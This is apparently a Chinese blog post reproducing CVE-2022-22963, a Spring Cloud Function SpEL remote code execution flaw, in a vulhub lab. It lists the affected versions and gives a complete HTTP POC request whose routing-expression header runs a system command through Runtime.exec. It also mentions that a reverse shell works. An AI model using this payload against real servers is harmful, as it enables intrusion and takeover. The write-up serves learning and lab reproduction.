vulhub中spring的CVE-2022-22963漏洞复现

影响版本

• 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
• Spring Cloud Function <= 3.2.2

复现过程

打开环境后可以看到这个页面

利用poc进行漏洞复现

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

bash反弹shell也可以成功

参考博客

漏洞复现-CVE-2022-22963-Spring Cloud Function SpEL RCE - 铺哩 - 博客园 (cnblogs.com)

免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好，并立志为网络安全奉献一份力量，凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关！